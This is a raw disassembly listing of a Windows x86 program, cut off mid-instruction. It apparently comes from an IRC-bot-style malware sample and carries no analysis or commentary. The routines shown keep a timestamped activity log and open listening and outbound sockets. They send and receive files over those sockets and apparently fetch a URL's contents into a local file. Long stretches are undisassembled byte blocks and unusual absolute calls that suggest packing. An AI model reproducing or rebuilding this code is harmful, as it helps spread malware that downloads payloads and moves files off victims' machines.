___:004157ADj mov eax, edi jmp short loc_4157B6 ; --------------------------------------------------------------------------- loc_415769: ; CODE XREF: ___:00415763j lea eax, [ebp-10Ch] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jnz short loc_41578B lea eax, [ebp-210h] push eax push esi call sub_426350 ; --------------------------------------------------------------------------- test eax, eax jz short loc_415765 loc_41578B: ; CODE XREF: ___:00415778j lea eax, [ebp+8] mov dword ptr [ebp+8], 4 push eax lea eax, [ebp-4] push eax push 1007h push 0FFFFh push esi nop call near ptr 71AB4122h cmp eax, edi jz short loc_415765 mov eax, [ebp-4] neg eax sbb eax, eax loc_4157B6: ; CODE XREF: ___:004156F5j ; ___:0041575Cj ... pop edi pop esi leave retn ; --------------------------------------------------------------------------- dw 8B55h dd 0CEC81ECh, 53000001h, 16A5756h, 50DB3358h, 0FF685353h dd 6A000000h, 89026A03h, 22E8EC45h, 90716A02h, 6AEC4D8Dh dd 26A5104h, 0F0A35053h, 0FF004CF1h, 4CB9B415h, 0B0358B00h dd 0FF004270h, 0B5E850D6h, 5900006Ah, 196AC033h, 0FF00BD8Dh dd 8959FFFFh, 0FFFEF49Dh, 844D89FFh, 0FEF89D89h, 9D89FFFFh dd 0FFFFFEFCh, 0FF7485C7h, 401FFFFh, 85C70000h, 0FFFFFF78h dd 15h, 0FF7C85C7h, 16FFFFh, 45C70000h, 1780h, 8845C700h dd 35h, 508C45C7h, 0C7000000h, 519045h, 45C70000h, 5894h dd 9845C700h, 6Eh, 719C45C7h, 0C7000000h, 77A045h, 45C70000h dd 87A4h, 0A845C700h, 89h, 8BAC45C7h, 0C7000000h, 8FB045h dd 45C70000h, 1BBB4h, 0B845C700h, 1BDh, 0BC45C7h, 0C7000004h dd 599C045h, 45C70000h, 5DCC4h, 0C845C700h, 6B8h, 0EACC45C7h dd 0C700000Ch, 0D3DD045h, 45C70000h, 1388D4h, 0D845C700h dd 1A0Bh, 40DC45C7h, 0C700001Fh, 1F90E045h, 0ABF30000h dd 0C7F05D89h, 3E445h, 45C70000h, 0BB8E8h, 0FC5D8900h dd 6608458Bh, 0FF6485C7h, 2FFFFh, 0FF688589h, 458BFFFFh dd 5BC8DFCh, 0FFFFFF74h, 5848B66h, 0FFFFFF74h, 0D415FF50h dd 53004CB9h, 26A016Ah, 66858966h, 0FFFFFFFFh, 4CBA5415h dd 0E44D8D00h, 51F44589h, 0FF648D8Dh, 106AFFFFh, 7EE85051h dd 83FFFFFDh, 458910C4h, 0F475FFF8h, 0BA6C15FFh, 5D39004Ch dd 8B0C75F8h, 78BFC4Dh, 0F40D8489h, 83FFFFFEh, 8304FC45h dd 7C70FC7Dh, 0F1F4BF83h, 0C068004Ch, 570042CDh, 68D9E8h dd 0FF595900h, 0F44589D6h, 0FEF4858Dh, 5D89FFFFh, 0F84589FCh dd 452BD6FFh, 0B9D233F4h, 3E8h, 453BF1F7h, 8B45770Ch, 8BF845h dd 1574C33Bh, 0D4685750h, 5700437Eh, 0E8F04589h, 689Ah dd 0EB10C483h, 0FFFF681Ah, 0E8530000h, 31F5h, 0FF505959h dd 4CB9D415h, 0C0B70F00h, 0FFF04589h, 4583FC45h, 7D8304F8h dd 0A87C1CFCh, 6853286Ah, 4CF190h, 656BE8h, 0FFFFBE00h dd 5C60000h, 4CF190h, 685645h, 0C6000004h, 4CF19905h, 5C60600h dd 4CF191h, 31A7E808h, 0C4830000h, 15FF5014h, 4CB9D4h dd 0A366286Ah, 4CF194h, 0B9D415FFh, 0D80004Ch, 4CF198h dd 801D39FFh, 66004CF1h, 4CF192A3h, 1D896600h, 4CF196h dd 0FE681A75h, 6A0000FFh, 3167E801h, 59590000h, 0C1084D8Bh dd 0CE2310E0h, 0BEBC10Bh, 4CEB6068h, 1415FF00h, 0A3004CBAh dd 4CF19Ch, 6808458Bh, 4000h, 4CF1A0A3h, 0B11D8800h, 0FF004CF1h dd 4CB9D415h, 66535600h, 4CF1B2A3h, 3123E800h, 0F88B0000h dd 0E7C15356h, 3117E808h, 0C4830000h, 57F80310h, 0B9D015FFh dd 0A8A3004Ch, 0A0004CF1h, 4CF1B0h, 24087D8Bh, 6A500C0Fh dd 0F1B0A214h, 8B66004Ch, 1D89F045h, 4CF1ACh, 0B61D8966h dd 66004CF1h, 4CF1A6A3h, 0CC3D8900h, 88004CF1h, 4CF1D01Dh dd 0D105C600h, 6004CF1h, 0B9D415FFh, 0A366004Ch, 4CF1D2h dd 0F1A6A166h, 0C766004Ch, 4CF1B805h, 89000200h, 4CF1BC3Dh dd 0BAA36600h, 89004CF1h, 5EBFC5Dh, 0FFFFBEh, 0FC5D3900h dd 53562F75h, 308CE8h, 50595900h, 0B9D415FFh, 0A366004Ch dd 4CF1A4h, 4CF19CA1h, 0F1C8A300h, 5C6004Ch, 4CF1B1h, 0AC1D8902h dd 0EB004CF1h, 0C653561Fh, 4CF1B105h, 56E81000h, 59000030h dd 15FF5059h, 4CB9D4h, 0A3C0B70Fh, 4CF1ACh, 9405FF66h dd 0FF004CF1h, 4CF1A805h, 0A6A16600h, 6A004CF1h, 0A4BE5905h dd 0BF004CF1h, 4CF1D4h, 9A1D8966h, 66004CF1h, 0F1B41D89h dd 146A004Ch, 90BEA5F3h, 66004CF1h, 4CF1BAA3h, 90E85600h dd 6AFFFF4Eh, 0F1C86820h, 0A366004Ch, 4CF19Ah, 0FF4E7EE8h dd 10C483FFh, 0F1B4A366h, 106A004Ch, 4CF1B868h, 286A5300h dd 0F035FF56h, 0FF004CF1h, 4CBA3815h, 0FC45FF00h, 0FFFC7D81h dd 0F000003h, 0FFFF238Ch, 72E890FFh, 2B022AA9h, 0D233F445h dd 3E8B9h, 3BF1F700h, 0E770C45h, 0E81075FFh, 228AA5Bh dd 0FDC2E990h, 5E5FFFFFh, 4CF1F4B8h, 0C3C95B00h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415C40 proc near ; CODE XREF: sub_401ACD+7111p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx and [ebp+var_4], 0 push esi push edi mov esi, offset dword_43DB90 mov edi, 0B8h loc_415C54: ; CODE XREF: sub_415C40+33j cmp byte ptr [esi], 0 jz short loc_415C77 push [ebp+arg_0] push esi call sub_41CA50 pop ecx test eax, eax pop ecx jz short loc_415C77 inc [ebp+var_4] add esi, edi cmp esi, offset dword_43E710 jl short loc_415C54 jmp short loc_415CB9 ; --------------------------------------------------------------------------- loc_415C77: ; CODE XREF: sub_415C40+17j ; sub_415C40+26j mov esi, [ebp+var_4] push ebx imul esi, 0B8h push edi push 0 lea ebx, dword_43DB90[esi] push ebx call sub_41BF70 push 17h push [ebp+arg_0] push ebx call sub_41BFD0 push 9Fh lea eax, dword_43DBA8[esi] push [ebp+arg_4] push eax call sub_41BFD0 add esp, 24h inc dword_4294CC pop ebx loc_415CB9: ; CODE XREF: sub_415C40+35j mov eax, [ebp+var_4] pop edi pop esi leave retn sub_415C40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415CC0 proc near ; CODE XREF: sub_401ACD+289Ap var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 200h push esi push edi push 0 push [ebp+arg_8] push offset dword_437EF0 push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 14h xor edi, edi mov esi, offset dword_43DB90 loc_415CEA: ; CODE XREF: sub_415CC0+72j cmp byte ptr [esi], 0 jz short loc_415D25 lea eax, [esi+18h] push eax push esi push edi push offset dword_437EDC lea eax, [ebp+var_200] push 200h push eax call sub_41C360 push 1 lea eax, [ebp+var_200] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409869 add esp, 2Ch loc_415D25: ; CODE XREF: sub_415CC0+2Dj add esi, 0B8h inc edi cmp esi, offset dword_43E710 jl short loc_415CEA pop edi pop esi leave retn sub_415CC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415D38 proc near ; CODE XREF: ___:004015A5p ; ___:00401629p ... var_10 = word ptr -10h var_E = word ptr -0Eh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = word ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 10h push ebx push esi lea eax, [ebp+var_10] push edi push eax call near ptr 27E0000h nop mov ebx, offset dword_4D35F4 mov edi, 80h mov esi, offset dword_4CF5F4 loc_415D5A: ; CODE XREF: sub_415D38+3Dj cmp byte ptr [ebx], 0 jz short loc_415D71 push 7Fh lea eax, [ebx+80h] push ebx push eax call sub_41BFD0 add esp, 0Ch loc_415D71: ; CODE XREF: sub_415D38+25j sub ebx, edi cmp ebx, esi jge short loc_415D5A movzx eax, [ebp+var_4] push [ebp+arg_0] push eax movzx eax, [ebp+var_6] push eax movzx eax, [ebp+var_8] push eax movzx eax, [ebp+var_10] push eax movzx eax, [ebp+var_A] push eax movzx eax, [ebp+var_E] push eax push offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s" push edi push esi call sub_41C360 add esp, 28h pop edi pop esi pop ebx leave retn sub_415D38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415DAC proc near ; CODE XREF: sub_4017ED+F7p ; sub_401ACD:loc_408967p ... var_80 = byte ptr -80h arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 80h lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_80] push [ebp+arg_0] push 80h push eax call sub_41CB70 lea eax, [ebp+var_80] push eax call sub_415D38 add esp, 14h leave retn sub_415DAC endp ; =============== S U B R O U T I N E ======================================= sub_415DD8 proc near ; CODE XREF: sub_401ACD+278Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, offset dword_4CF5F4 xor ecx, ecx loc_415DDF: ; CODE XREF: sub_415DD8+13j mov [eax], cl add eax, 80h cmp eax, offset dword_4D35F4 jl short loc_415DDF cmp [esp+arg_C], ecx jnz short loc_415E0D push ecx push [esp+4+arg_8] push offset dword_437F3C push [esp+0Ch+arg_4] push [esp+10h+arg_0] call sub_409869 add esp, 14h loc_415E0D: ; CODE XREF: sub_415DD8+19j push offset dword_437F28 call sub_415D38 pop ecx retn sub_415DD8 endp ; =============== S U B R O U T I N E ======================================= sub_415E19 proc near ; CODE XREF: ___:0040E1FFp arg_0 = dword ptr 4 push esi mov esi, offset dword_4CF5F4 loc_415E1F: ; CODE XREF: sub_415E19+27j cmp byte ptr [esi], 0 jz short loc_415E34 push [esp+4+arg_0] push esi call sub_4185D3 pop ecx test eax, eax pop ecx jnz short loc_415E46 loc_415E34: ; CODE XREF: sub_415E19+9j add esi, 80h cmp esi, offset dword_4D35F4 jl short loc_415E1F xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_415E46: ; CODE XREF: sub_415E19+19j push 1 pop eax pop esi retn sub_415E19 endp ; --------------------------------------------------------------------------- byte_415E4B db 55h ; DATA XREF: sub_401ACD+2844o ; --------------------------------------------------------------------------- mov ebp, esp sub esp, 31Ch mov eax, [ebp+8] push esi push edi push 45h pop ecx mov esi, eax lea edi, [ebp-11Ch] push 1 rep movsd xor edx, edx pop edi cmp [ebp-10h], edx mov dword ptr [ebp-8], 80h mov [ebp-4], edx mov [eax+110h], edi jnz short loc_415E9E push edx lea eax, [ebp-118h] push dword ptr [ebp-14h] push offset dword_437F6C push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415E9E: ; CODE XREF: ___:00415E7Ej cmp byte ptr [ebp-98h], 0 jz short loc_415EBE lea eax, [ebp-98h] push eax call sub_41C159 test eax, eax pop ecx mov [ebp-4], eax jz short loc_415EBE mov [ebp-8], eax loc_415EBE: ; CODE XREF: ___:00415EA5j ; ___:00415EB9j and dword ptr [ebp+8], 0 mov esi, offset dword_4CF5F4 loc_415EC7: ; CODE XREF: ___:00415F1Fj mov eax, [ebp+8] cmp eax, [ebp-8] jge short loc_415F21 cmp byte ptr [esi], 0 jz short loc_415F10 cmp byte ptr [ebp-98h], 0 jz short loc_415EF6 cmp dword ptr [ebp-4], 0 jnz short loc_415EF6 lea eax, [ebp-98h] push eax push esi call sub_4185D3 pop ecx test eax, eax pop ecx jz short loc_415F10 loc_415EF6: ; CODE XREF: ___:00415EDBj ; ___:00415EE1j push edi lea eax, [ebp-118h] push dword ptr [ebp-14h] push esi push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415F10: ; CODE XREF: ___:00415ED2j ; ___:00415EF4j inc dword ptr [ebp+8] add esi, 80h cmp esi, offset dword_4D35F4 jl short loc_415EC7 loc_415F21: ; CODE XREF: ___:00415ECDj lea eax, [ebp-31Ch] push offset dword_437F50 push eax call sub_41C266 xor esi, esi pop ecx cmp [ebp-10h], esi pop ecx jnz short loc_415F5B push esi lea eax, [ebp-31Ch] push dword ptr [ebp-14h] push eax lea eax, [ebp-118h] push eax push dword ptr [ebp-11Ch] call sub_409869 add esp, 14h loc_415F5B: ; CODE XREF: ___:00415F39j lea eax, [ebp-31Ch] push eax call sub_415D38 push dword ptr [ebp-18h] call sub_40B6D6 pop ecx pop ecx push esi ; --------------------------------------------------------------------------- dw 89E8h ; --------------------------------------------------------------------------- mov al, ds:5F90022Fh pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_415F7A proc near ; CODE XREF: ___:0041661Fp var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push esi push edi push 0 push 1 push 2 call dword_4CBA54 mov edi, eax or esi, 0FFFFFFFFh cmp edi, esi jz short loc_415FF6 push 10h lea eax, [ebp+var_10] push 0 push eax call sub_41BF70 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_4] call dword_4CB9D4 push [ebp+arg_0] mov [ebp+var_E], ax call dword_4CBA14 cmp eax, esi jnz short loc_415FDB push [ebp+arg_0] call dword_4CBA58 test eax, eax jz short loc_415FF6 mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] loc_415FDB: ; CODE XREF: sub_415F7A+4Bj mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push edi call dword_4CB97C cmp eax, esi jnz short loc_415FFA push edi call dword_4CBA6C loc_415FF6: ; CODE XREF: sub_415F7A+1Bj ; sub_415F7A+58j mov eax, esi jmp short loc_415FFC ; --------------------------------------------------------------------------- loc_415FFA: ; CODE XREF: sub_415F7A+73j mov eax, edi loc_415FFC: ; CODE XREF: sub_415F7A+7Ej pop edi pop esi leave retn sub_415F7A endp ; --------------------------------------------------------------------------- dword_416000 dd 0B8EC8B55h, 11B4h, 64F3E8h, 8458B00h, 6A575653h, 59F08B6Dh ; DATA XREF: sub_401ACD+A02o dd 0FE4CBD8Dh, 0A5F3FFFFh, 0FF5E016Ah, 0B089EC75h, 1B0h dd 0FE54858Dh, 0E850FFFFh, 0FFFFFF42h, 8359D88Bh, 7559FFFBh dd 4C858D52h, 68FFFFEEh, 437FECh, 6214E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 0F6E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch dd 0FCB6E850h, 75FFFFFFh, 564CE8F0h, 5959FFFFh, 9F6EE856h dd 6890022Fh, 43DB88h, 4113E853h, 83590000h, 7559FFF8h dd 4C858D59h, 68FFFFEEh, 437FBCh, 61B0E850h, 0FF330000h dd 0F87D3959h, 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h dd 0FFFFFF6Ch, 92E85350h, 83FFFF37h, 858D14C4h, 0FFFFEE4Ch dd 0FC52E850h, 5359FFFFh, 0BA6C15FFh, 75FF004Ch, 55E0E8F0h dd 5659FFFFh, 9F02E890h, 646A022Fh, 0A585E890h, 0FF330228h dd 1000BEh, 858D5600h, 0FFFFEE4Ch, 55E85057h, 8300005Eh dd 858D0CC4h, 0FFFFEE4Ch, 53505657h, 0B9EC15FFh, 0C085004Ch dd 858D387Eh, 0FFFFEE4Ch, 42A08068h, 5DE85000h, 8D000067h dd 0FFEE4C85h, 4EE850FFh, 8300003Eh, 0C0850CC4h, 646A1474h dd 0A52DE890h, 0A6A0228h, 0FF549DE8h, 59C085FFh, 858DA375h dd 0FFFFEE4Ch, 437F8868h, 0EBE85000h, 39000060h, 5959F87Dh dd 8D571B75h, 0FFEE4C85h, 0F475FFFFh, 6C858D50h, 50FFFFFFh dd 36CFE853h, 0C483FFFFh, 4C858D14h, 50FFFFEEh, 0FFFB8FE8h dd 0FF5359FFh, 4CBA6C15h, 0F075FF00h, 0FF551DE8h, 0E85759FFh dd 22F9E40h db 90h ; --------------------------------------------------------------------------- loc_4161C1: ; DATA XREF: sub_401ACD+7696o push ebp mov ebp, esp sub esp, 0A04h mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1FCh] rep movsd push 1 xor esi, esi pop ebx mov [ebp-10h], esi push esi push ebx push 2 mov [eax+1B0h], ebx mov [ebp-0Ch], esi mov [ebp-20h], esi call dword_4CBA54 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp-18h], edi jnz short loc_41620F push offset unk_4380EC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41620F: ; CODE XREF: ___:00416203j push 10h lea eax, [ebp-30h] push esi push eax call sub_41BF70 add esp, 0Ch mov word ptr [ebp-30h], 2 push esi call dword_4CB9D4 mov [ebp-2Eh], ax lea eax, [ebp-30h] push 10h push eax push edi mov [ebp-2Ch], esi call dword_4CBA00 test eax, eax jz short loc_41624D push offset unk_4380C8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_41624D: ; CODE XREF: ___:00416241j lea eax, [ebp-1Ch] mov dword ptr [ebp-1Ch], 10h push eax lea eax, [ebp-30h] push eax push edi call dword_4CB978 push dword ptr [ebp-2Eh] call dword_4CB904 mov [ebp-4], eax lea eax, [ebp-1E0h] push eax mov [ebp+8], esi call sub_41B9C0 pop ecx loc_41627F: ; CODE XREF: ___:004162B0j mov ecx, [ebp+8] mov al, [ebp+ecx-1E0h] cmp al, 20h jnz short loc_416292 push 5Fh pop eax jmp short loc_416295 ; --------------------------------------------------------------------------- loc_416292: ; CODE XREF: ___:0041628Bj movsx eax, al loc_416295: ; CODE XREF: ___:00416290j mov [ebp+ecx-604h], al lea eax, [ebp-1E0h] inc ecx push eax mov [ebp+8], ecx call sub_41B9C0 cmp [ebp+8], eax pop ecx jbe short loc_41627F push ebx push edi call dword_4CB9FC test eax, eax jz short loc_4162C8 push offset unk_437FEC jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162C8: ; CODE XREF: ___:004162BCj push esi push esi push 3 push esi push ebx lea eax, [ebp-1E0h] push 80000000h push eax call near ptr 27506FCh nop cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4162F2 push offset unk_4380A8 jmp loc_4163C8 ; --------------------------------------------------------------------------- loc_4162F2: ; CODE XREF: ___:004162E6j push esi push eax nop call near ptr 2790000h mov [ebp+8], eax push eax movzx eax, word ptr [ebp-4] push eax push dword ptr [ebp-1FCh] call sub_40AA06 pop ecx push eax call dword_4CBA14 push eax call dword_4CB9D0 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset dword_438090 push eax call sub_41C266 push esi lea eax, [ebp-3FCh] push esi push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409869 add esp, 2Ch lea eax, [ebp-38h] mov dword ptr [ebp-38h], 3Ch mov [ebp-34h], esi push eax push esi lea eax, [ebp-500h] push esi push eax push esi mov [ebp-4FCh], edi mov [ebp-500h], ebx call dword_4CB9BC test eax, eax jg short loc_4163A2 push esi lea eax, [ebp-0DCh] push dword ptr [ebp-54h] push offset dword_438078 push eax push dword ptr [ebp-1FCh] call sub_409869 jmp loc_4164C6 ; --------------------------------------------------------------------------- loc_4163A2: ; CODE XREF: ___:00416380j lea eax, [ebp-14h] mov dword ptr [ebp-14h], 10h push eax lea eax, [ebp-48h] push eax push edi call dword_4CBA68 cmp eax, 0FFFFFFFFh mov [ebp-1F8h], eax jnz short loc_4163DB push offset unk_438054 loc_4163C8: ; CODE XREF: ___:0041620Aj ; ___:00416248j ... lea eax, [ebp-3FCh] push eax call sub_41C266 pop ecx pop ecx jmp loc_4164C9 ; --------------------------------------------------------------------------- loc_4163DB: ; CODE XREF: ___:004163C1j push edi call dword_4CBA6C cmp [ebp+8], esi jz loc_41648D mov edi, 400h loc_4163F0: ; CODE XREF: ___:00416484j mov eax, [ebp+8] mov [ebp-4], edi cmp eax, edi jge short loc_4163FD mov [ebp-4], eax loc_4163FD: ; CODE XREF: ___:004163F8j push edi lea eax, [ebp-0A04h] push esi push eax call sub_41BF70 mov eax, [ebp+8] add esp, 0Ch neg eax push 2 push esi push eax push dword ptr [ebp-8] nop call near ptr 27C0000h lea eax, [ebp-20h] push esi push eax lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-8] nop call near ptr 2730000h push esi lea eax, [ebp-0A04h] push dword ptr [ebp-4] push eax push dword ptr [ebp-1F8h] call dword_4CBA24 mov [ebp-4], eax push esi cdq add [ebp-10h], eax lea eax, [ebp-0A04h] push edi push eax push dword ptr [ebp-1F8h] adc [ebp-0Ch], edx call dword_4CB9EC cmp eax, ebx jl loc_416522 mov eax, [ebp-4] cmp eax, ebx jl loc_416522 sub [ebp+8], eax jnz loc_4163F0 mov edi, [ebp-18h] loc_41648D: ; CODE XREF: ___:004163E5j push dword ptr [ebp-8] call near ptr 26808BBh nop push dword ptr [ebp-0Ch] push dword ptr [ebp-10h] call sub_416CC9 pop ecx pop ecx push eax push dword ptr [ebp-44h] call dword_4CBA60 push eax lea eax, [ebp-1E0h] push eax lea eax, [ebp-3FCh] push offset unk_438028 push eax call sub_41C266 loc_4164C6: ; CODE XREF: ___:0041639Dj add esp, 14h loc_4164C9: ; CODE XREF: ___:004163D6j cmp [ebp-50h], esi jnz short loc_4164EE push esi lea eax, [ebp-3FCh] push dword ptr [ebp-54h] push eax lea eax, [ebp-0DCh] push eax push dword ptr [ebp-1FCh] call sub_409869 add esp, 14h loc_4164EE: ; CODE XREF: ___:004164CCj lea eax, [ebp-3FCh] push eax call sub_415D38 cmp edi, esi pop ecx jbe short loc_416506 push edi call dword_4CBA6C loc_416506: ; CODE XREF: ___:004164FDj push dword ptr [ebp-1F8h] call dword_4CBA6C push dword ptr [ebp-58h] call sub_40B6D6 pop ecx push esi call near ptr 2710000h nop loc_416522: ; CODE XREF: ___:00416470j ; ___:0041647Bj push esi mov esi, offset dword_438010 push dword ptr [ebp-54h] lea eax, [ebp-0DCh] push esi push eax push dword ptr [ebp-1FCh] call sub_409869 push esi call sub_415D38 add esp, 18h push dword ptr [ebp-1F8h] call dword_4CBA6C push dword ptr [ebp-58h] call sub_40B6D6 pop ecx push ebx nop call near ptr 2710000h loc_416563: ; DATA XREF: sub_401ACD+798o push ebp mov ebp, esp mov eax, 14C4h call sub_41C500 mov eax, [ebp+8] push ebx push esi push edi push 6Dh mov esi, eax pop ecx lea edi, [ebp-1C0h] rep movsd push 1 xor ebx, ebx pop esi mov [ebp-8], ebx mov [eax+1B0h], esi lea eax, [ebp-2C4h] push 104h push eax nop call near ptr 26A0000h lea eax, [ebp-1A4h] push eax lea eax, [ebp-2C4h] push eax lea eax, [ebp-2C4h] push offset dword_429AC8 push eax call sub_41C266 add esp, 10h lea eax, [ebp-2C4h] push ebx push 80h push 2 push ebx push esi push 40000000h push eax call near ptr 27506FCh nop cmp eax, 0FFFFFFFFh jnz short loc_4165ED push offset unk_43818C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_4165ED: ; CODE XREF: ___:004165E4j push eax call near ptr 26808BBh nop lea eax, [ebp-2C4h] push offset aAB ; "a+b" push eax call sub_41BEA2 pop ecx cmp eax, ebx pop ecx mov [ebp-4], eax jnz short loc_416615 push offset unk_43815C jmp short loc_416633 ; --------------------------------------------------------------------------- loc_416615: ; CODE XREF: ___:0041660Cj push dword ptr [ebp-20h] lea eax, [ebp-1B8h] push eax call sub_415F7A pop ecx cmp eax, 0FFFFFFFFh pop ecx mov [ebp+8], eax jnz short loc_416646 push offset unk_43813C loc_416633: ; CODE XREF: ___:004165EBj ; ___:00416613j lea eax, [ebp-4C4h] push eax call sub_41C266 pop ecx pop ecx jmp loc_416742 ; --------------------------------------------------------------------------- loc_416646: ; CODE XREF: ___:0041662Cj mov esi, 1000h loc_41664B: ; CODE XREF: ___:004166B1j push esi lea eax, [ebp-14C4h] push ebx push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-14C4h] push ebx push esi push eax push dword ptr [ebp+8] call dword_4CB9EC mov edi, eax cmp edi, ebx jz loc_416712 cmp edi, 0FFFFFFFFh jz short loc_4166B3 push dword ptr [ebp-4] lea eax, [ebp-14C4h] push edi push 1 push eax call sub_41DB54 add [ebp-8], edi add esp, 10h push dword ptr [ebp-8] call dword_4CB9D0 mov [ebp-0Ch], eax push ebx lea eax, [ebp-0Ch] push 4 push eax push dword ptr [ebp+8] call dword_4CBA24 jmp short loc_41664B ; --------------------------------------------------------------------------- loc_4166B3: ; CODE XREF: ___:0041667Bj lea eax, [ebp-4C4h] push offset dword_438010 push eax call sub_41C266 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409869 lea eax, [ebp-4C4h] push eax call sub_415D38 push dword ptr [ebp-4] call sub_41BA3B add esp, 24h push dword ptr [ebp+8] call dword_4CBA6C push dword ptr [ebp-1Ch] call sub_40B6D6 pop ecx push 1 nop call near ptr 2710000h loc_416712: ; CODE XREF: ___:00416672j mov eax, [ebp-8] cdq push edx push eax call sub_416CC9 pop ecx pop ecx push eax lea eax, [ebp-1B8h] push eax lea eax, [ebp-1A4h] push eax lea eax, [ebp-4C4h] push offset unk_438110 push eax call sub_41C266 add esp, 14h loc_416742: ; CODE XREF: ___:00416641j cmp [ebp-14h], ebx jnz short loc_416767 push ebx lea eax, [ebp-4C4h] push dword ptr [ebp-18h] push eax lea eax, [ebp-0A0h] push eax push dword ptr [ebp-1C0h] call sub_409869 add esp, 14h loc_416767: ; CODE XREF: ___:00416745j lea eax, [ebp-4C4h] push eax call sub_415D38 cmp [ebp-4], ebx pop ecx jz short loc_416782 push dword ptr [ebp-4] call sub_41BA3B pop ecx loc_416782: ; CODE XREF: ___:00416777j cmp [ebp+8], ebx jbe short loc_416790 push dword ptr [ebp+8] call dword_4CBA6C loc_416790: ; CODE XREF: ___:00416785j push dword ptr [ebp-1Ch] call sub_40B6D6 pop ecx push ebx call near ptr 2710000h nop loc_4167A0: ; DATA XREF: sub_401ACD+619Bo ; sub_401ACD+69D9o push ebp mov ebp, esp sub esp, 510h mov eax, [ebp+8] push ebx push esi push edi mov ecx, 0AAh mov esi, eax lea edi, [ebp-2CCh] push 1 rep movsd pop edi xor esi, esi push esi mov [eax+2A4h], edi push esi push esi lea eax, [ebp-248h] push esi push eax push dword_4CB984 call dword_4CB8D8 cmp eax, esi mov [ebp-18h], eax jz loc_416C2C push esi push esi push 2 push esi push esi lea eax, [ebp-148h] push 40000000h push eax call near ptr 27506FCh nop cmp eax, edi mov [ebp-20h], eax jnb short loc_416867 lea eax, [ebp-148h] push eax lea eax, [ebp-510h] push offset unk_438358 push eax call sub_41C266 add esp, 0Ch cmp [ebp-30h], esi jnz short loc_41684A push esi lea eax, [ebp-510h] push dword ptr [ebp-2Ch] push eax lea eax, [ebp-2C8h] push eax push dword ptr [ebp-2CCh] call sub_409869 add esp, 14h loc_41684A: ; CODE XREF: ___:00416828j lea eax, [ebp-510h] push eax call sub_415D38 push dword ptr [ebp-48h] call sub_40B6D6 pop ecx pop ecx push esi nop call near ptr 2710000h loc_416867: ; CODE XREF: ___:00416808j xor edi, edi nop call near ptr 26C0589h mov ebx, 7D000h mov [ebp-4], eax push ebx call sub_41BEB5 pop ecx mov [ebp-1Ch], eax loc_416881: ; CODE XREF: ___:00416954j push 200h lea eax, [ebp-510h] push esi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp+8] push eax lea eax, [ebp-510h] push 200h push eax push dword ptr [ebp-18h] call dword_4CB8E0 cmp [ebp-34h], esi jz short loc_4168C5 push dword ptr [ebp+8] lea eax, [ebp-510h] push eax call sub_416C92 pop ecx pop ecx loc_4168C5: ; CODE XREF: ___:004168B2j lea eax, [ebp-24h] push esi push eax lea eax, [ebp-510h] push dword ptr [ebp+8] push eax push dword ptr [ebp-20h] call near ptr 2740000h nop cmp edi, ebx jnb short loc_416903 mov eax, ebx sub eax, edi cmp eax, [ebp+8] jbe short loc_4168ED mov eax, [ebp+8] loc_4168ED: ; CODE XREF: ___:004168E8j push eax lea eax, [ebp-510h] push eax mov eax, [ebp-1Ch] add eax, edi push eax call sub_41CD20 add esp, 0Ch loc_416903: ; CODE XREF: ___:004168DFj add edi, [ebp+8] cmp [ebp-3Ch], esi jz short loc_416910 cmp edi, [ebp-3Ch] ja short loc_41695A loc_416910: ; CODE XREF: ___:00416909j cmp dword ptr [ebp-44h], 1 mov eax, edi jz short loc_41692A shr eax, 0Ah push eax lea eax, [ebp-248h] push eax push offset unk_438330 jmp short loc_41693A ; --------------------------------------------------------------------------- loc_41692A: ; CODE XREF: ___:00416916j shr eax, 0Ah push eax lea 